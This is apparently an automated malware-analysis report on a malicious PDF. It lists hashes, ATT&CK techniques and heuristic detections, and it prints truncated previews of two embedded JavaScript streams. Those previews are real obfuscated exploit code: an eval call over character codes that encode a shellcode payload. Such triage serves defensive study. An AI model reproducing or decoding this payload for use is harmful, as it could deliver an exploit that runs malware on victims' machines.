PDF malware analysis — malicious · 74a02566807e5fbb

MALICIOUS

PDF

22.8 KB Created: 2009-05-01 21:21:45 Authoring application: tvEeSFCPx (via NeTSnrx)

MD5: c95c9c4068cc43158432f9da7711f59f SHA-1: 2d9dd1d7d51ce0f5b3f41f71032c82d47a5b634b SHA-256: 74a02566807e5fbb4427b7cdedaa67a02afd07b403a5b68e6f3062b71adec7bd

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript streams that are flagged as an exploit cluster. The JavaScript code uses `eval` and `String.fromCharCode` with obfuscated numerical strings, indicating an attempt to hide malicious code. This pattern strongly suggests the script is designed to download and execute a second-stage payload, a common technique for PDF-based malware.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js` `a3af1c8f067c2d8b8fa61a3d196e9cbf9fe5afe28b3d755c2c565ef15859ac8e`	pdf-javascript-stream	PDF /JS object 7 at offset 0x215	22087 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var d = eval; var s = "14 11 14 11 119 98 115 33 113 98 122 109 112 98 101 33 62 33 118 111 102 116 100 98 113 102 41 35 38 118 49 66 49 66 38 118 49 66 49 66 38 118 49 66 49 66 35 44 35 38 118 70 50 69 58 38 118 52 53 69 58 38 118 54 57 51 53 38 118 54 57 54 57 38 118 52 52 54 57 38 118 67 52 69 67 38 118 49 52 50 68 38 118 52 50 68 52 38 118 55 55 68 58 38 118 70 58 57 50 38 118 71 66 55 54 38 118 52 49 57 49 38 118 53 49 51 50 38 118 71 66 70 51 38 118 50 56 68 58 38 118 51 50 51 51 38 118 53 58 51 50 38 118 49 50 51 50 38 118 51 50 51 50 38 118 51 50 53 67 38 118 71 50 69 70 38 118 51 50 58 57 38 118 51 50 52 50 38 118 66 66 51 50 38 118 68 66 69 58 38 118 56 71 51 53 38 118 57 54 69 51 38 118 71 50 69 70 38 118 69 56 68 58 38 118 69 70 69 70 38 118 68 58 69 70 38 118 51 51 50 68 38 118 51 50 51 50 38 118 69 58 66 66 38 118 50 58 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 55 68 38 118 51 50 51 50 38 118 55 56 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 51 71 66 38 118 51 50 51 50 38 118 69 58 66 66 38 118 49 52 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 55 54 38 118 51 50 51 50 38 118 50 50 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 51 66 57 38 118 51 50 51 50 38 118 69 58 66 66 38 118 51 69 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 53 49 38 118 51 50 51 50 38 118 52 67 68 58 38 118 51 50 51 50 38 118 68 66 51 50 38 118 56 51 56 58 38 118 71 69 66 66 38 118 53 67 56 51 38 118 53 58 55 50 38 118 52 50 51 50 38 118 51 50 51 50 38 118 68 58 56 55 38 118 51 52 58 49 38 118 51 50 51 50 38 118 68 53 68 58 38 118 51 50 51 50 38 118 56 58 51 50 38 118 56 51 70 51 38 118 71 69 66 66 38 118 53 67 56 51 38 118 53 58 49 50 38 118 52 50 51 50 38 118 51 50 51 50 38 118 68 58 56 55 38 118 51 52 67 57 38 118 51 50 51 50 38 118 70 68 68 58 38 118 51 50 51 50 38 118 56 58 51 50 38 118 56 55 70 51 38 118 50 69 68 58 38 118 51 50 51 54 38 118 66 66 51 50 38 118 50 51 69 58 38 118 55 57 70 57 38 118 70 50 50 51 38 118 70 51 58 50 38 118 69 52 69 69 38 118 66 68 57 71 38 118 69 70 55 55 38 118 70 51 56 70 38 118 50 71 56 66 38 118 51 55 70 56 38 118 50 71 58 58 38 118 56 70 66 57 38 118 53 56 51 49 38 118 70 55 50 71 38 118 51 53 55 55 38 118 68 50 69 70 38 118 68 57 70 51 38 118 51 54 67 53 38 118 51 50 51 50 38 118 66 49 56 66 38 118 52 54 68 69 38 118 51 50 51 49 38 118 66 66 51 50 38 118 50 71 71 54 38 118 51 52 70 55 38 118 53 68 53 51 38 118 49 50 53 54 38 118 70 55 50 71 38 118 51 54 55 52 38 118 53 51 49 70 38 118 49 52 49 50 38 118 70 52 66 51 38 118 50 51 51 58 38 118 56 50 70 50 38 118 53 58 56 50 38 118 51 49 51 54 38 118 51 50 51 50 38 118 56 51 56 52 38 118 68 58 56 50 38 118 51 51 70 49 38 118 51 50 51 50 38 118 71 50 69 70 38 118 69 69 66 66 38 118 70 55 66 66 38 118 70 50 66 51 38 118 50 71 51 58 38 118 52 58 66 67 38 118 71 66 66 54 38 118 51 51 54 54 38 118 68 66 55 50 38 118 50 71 69 56 38 118 51 50 70 56 38 118 50 51 49 52 38 118 50 71 71 52 38 118 56 50 66 58 38 118 66 51 51 49 38 118 56 54 68 69 38 118 70 50 50 51 38 118 71 66 50 51 38 118 70 69 66 66 38 118 69 58 66 51 38 118 54 68 56 54 38 118 50 71 51 57 38 118 52 69 66 57 38 118 66 51 51 49 38 118 51 54 70 50 38 118 69 52 68 66 38 118 70 69 66 66 38 118 71 57 66 66 38 118 70 51 66 51 38 118 50 51 52 50 38 118 50 71 70 50 38 118 55 51 70 55 38 118 51 49 49 69 38 118 51 50 51 50 38 118 56 49 51 50 38 118 56 50 56 51 38 118 56 50 56 50 38 118 56 50 56 50 38 118 56 55 56 50 38 118 68 58 56 50 38 118 51 51 50 57 38 118 51 50 51 50 38 118 52 57 68 58 38 118 51 50 51 50 38 118 53 54 51 50 38 118 51 54 57 49 38 118 51 50 51 50 38 118 66 68 51 50 38 118 53 50 57 50 38 118 69 70 69 70 38 118 68 58 69 70 38 118 51 51 50 55 38 118 51 50 51 50 38 118 71 66 50 51 38 118 56 51 56 51 38 118 56 51 56 51 38 118 71 50 69 70 38 118 50 58 66 50 38 118 66 50 68 58 38 118 68 57 50 58 38 118 51 70 54 53 38 118 54 58 66 49 38 118 67 50 51 53 38 118 67 50 67 50 38 118 54 54 67 50 38 118 56 53 51 56 38 118 68 69 66 66 38 118 55 50 66 68 38 118 69 70 51 53 38 118 68 58 68 50 38 118 69 70 49 71 38 118 69 70 69 70 38 118 68 58 ... (truncated)
`javascript_obj0007_001.js` `a8a0ac2b516623333a91190ef976cda0c6285fe7b3e6492527e6180d0e7f539b`	pdf-javascript-stream	PDF /JS object 7 at offset 0x215	21899 bytes
Preview script First 1,000 lines of the extracted script var d = eval; var s = "14 11 14 11 119 98 115 33 113 98 122 109 112 98 101 33 62 33 118 111 102 116 100 98 113 102 41 35 38 118 49 66 49 66 38 118 49 66 49 66 38 118 49 66 49 66 35 44 35 38 118 70 50 69 58 38 118 52 53 69 58 38 118 54 57 51 53 38 118 54 57 54 57 38 118 52 52 54 57 38 118 67 52 69 67 38 118 49 52 50 68 38 118 52 50 68 52 38 118 55 55 68 58 38 118 70 58 57 50 38 118 71 66 55 54 38 118 52 49 57 49 38 118 53 49 51 50 38 118 71 66 70 51 38 118 50 56 68 58 38 118 51 50 51 51 38 118 53 58 51 50 38 118 49 50 51 50 38 118 51 50 51 50 38 118 51 50 53 67 38 118 71 50 69 70 38 118 51 50 58 57 38 118 51 50 52 50 38 118 66 66 51 50 38 118 68 66 69 58 38 118 56 71 51 53 38 118 57 54 69 51 38 118 71 50 69 70 38 118 69 56 68 58 38 118 69 70 69 70 38 118 68 58 69 70 38 118 51 51 50 68 38 118 51 50 51 50 38 118 69 58 66 66 38 118 50 58 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 55 68 38 118 51 50 51 50 38 118 55 56 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 51 71 66 38 118 51 50 51 50 38 118 69 58 66 66 38 118 49 52 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 55 54 38 118 51 50 51 50 38 118 50 50 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 51 66 57 38 118 51 50 51 50 38 118 69 58 66 66 38 118 51 69 68 58 38 118 51 50 51 50 38 118 68 58 51 50 38 118 51 49 53 49 38 118 51 50 51 50 38 118 52 67 68 58 38 118 51 50 51 50 38 118 68 66 51 50 38 118 56 51 56 58 38 118 71 69 66 66 38 118 53 67 56 51 38 118 53 58 55 50 38 118 52 50 51 50 38 118 51 50 51 50 38 118 68 58 56 55 38 118 51 52 58 49 38 118 51 50 51 50 38 118 68 53 68 58 38 118 51 50 51 50 38 118 56 58 51 50 38 118 56 51 70 51 38 118 71 69 66 66 38 118 53 67 56 51 38 118 53 58 49 50 38 118 52 50 51 50 38 118 51 50 51 50 38 118 68 58 56 55 38 118 51 52 67 57 38 118 51 50 51 50 38 118 70 68 68 58 38 118 51 50 51 50 38 118 56 58 51 50 38 118 56 55 70 51 38 118 50 69 68 58 38 118 51 50 51 54 38 118 66 66 51 50 38 118 50 51 69 58 38 118 55 57 70 57 38 118 70 50 50 51 38 118 70 51 58 50 38 118 69 52 69 69 38 118 66 68 57 71 38 118 69 70 55 55 38 118 70 51 56 70 38 118 50 71 56 66 38 118 51 55 70 56 38 118 50 71 58 58 38 118 56 70 66 57 38 118 53 56 51 49 38 118 70 55 50 71 38 118 51 53 55 55 38 118 68 50 69 70 38 118 68 57 70 51 38 118 51 54 67 53 38 118 51 50 51 50 38 118 66 49 56 66 38 118 52 54 68 69 38 118 51 50 51 49 38 118 66 66 51 50 38 118 50 71 71 54 38 118 51 52 70 55 38 118 53 68 53 51 38 118 49 50 53 54 38 118 70 55 50 71 38 118 51 54 55 52 38 118 53 51 49 70 38 118 49 52 49 50 38 118 70 52 66 51 38 118 50 51 51 58 38 118 56 50 70 50 38 118 53 58 56 50 38 118 51 49 51 54 38 118 51 50 51 50 38 118 56 51 56 52 38 118 68 58 56 50 38 118 51 51 70 49 38 118 51 50 51 50 38 118 71 50 69 70 38 118 69 69 66 66 38 118 70 55 66 66 38 118 70 50 66 51 38 118 50 71 51 58 38 118 52 58 66 67 38 118 71 66 66 54 38 118 51 51 54 54 38 118 68 66 55 50 38 118 50 71 69 56 38 118 51 50 70 56 38 118 50 51 49 52 38 118 50 71 71 52 38 118 56 50 66 58 38 118 66 51 51 49 38 118 56 54 68 69 38 118 70 50 50 51 38 118 71 66 50 51 38 118 70 69 66 66 38 118 69 58 66 51 38 118 54 68 56 54 38 118 50 71 51 57 38 118 52 69 66 57 38 118 66 51 51 49 38 118 51 54 70 50 38 118 69 52 68 66 38 118 70 69 66 66 38 118 71 57 66 66 38 118 70 51 66 51 38 118 50 51 52 50 38 118 50 71 70 50 38 118 55 51 70 55 38 118 51 49 49 69 38 118 51 50 51 50 38 118 56 49 51 50 38 118 56 50 56 51 38 118 56 50 56 50 38 118 56 50 56 50 38 118 56 55 56 50 38 118 68 58 56 50 38 118 51 51 50 57 38 118 51 50 51 50 38 118 52 57 68 58 38 118 51 50 51 50 38 118 53 54 51 50 38 118 51 54 57 49 38 118 51 50 51 50 38 118 66 68 51 50 38 118 53 50 57 50 38 118 69 70 69 70 38 118 68 58 69 70 38 118 51 51 50 55 38 118 51 50 51 50 38 118 71 66 50 51 38 118 56 51 56 51 38 118 56 51 56 51 38 118 71 50 69 70 38 118 50 58 66 50 38 118 66 50 68 58 38 118 68 57 50 58 38 118 51 70 54 53 38 118 54 58 66 49 38 118 67 50 51 53 38 118 67 50 67 50 38 118 54 54 67 50 38 118 56 53 51 56 38 118 68 69 66 66 38 118 55 50 66 68 38 118 69 70 51 53 38 118 68 58 68 50 38 118 69 70 49 71 38 118 69 70 69 70 38 118 68 58 ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.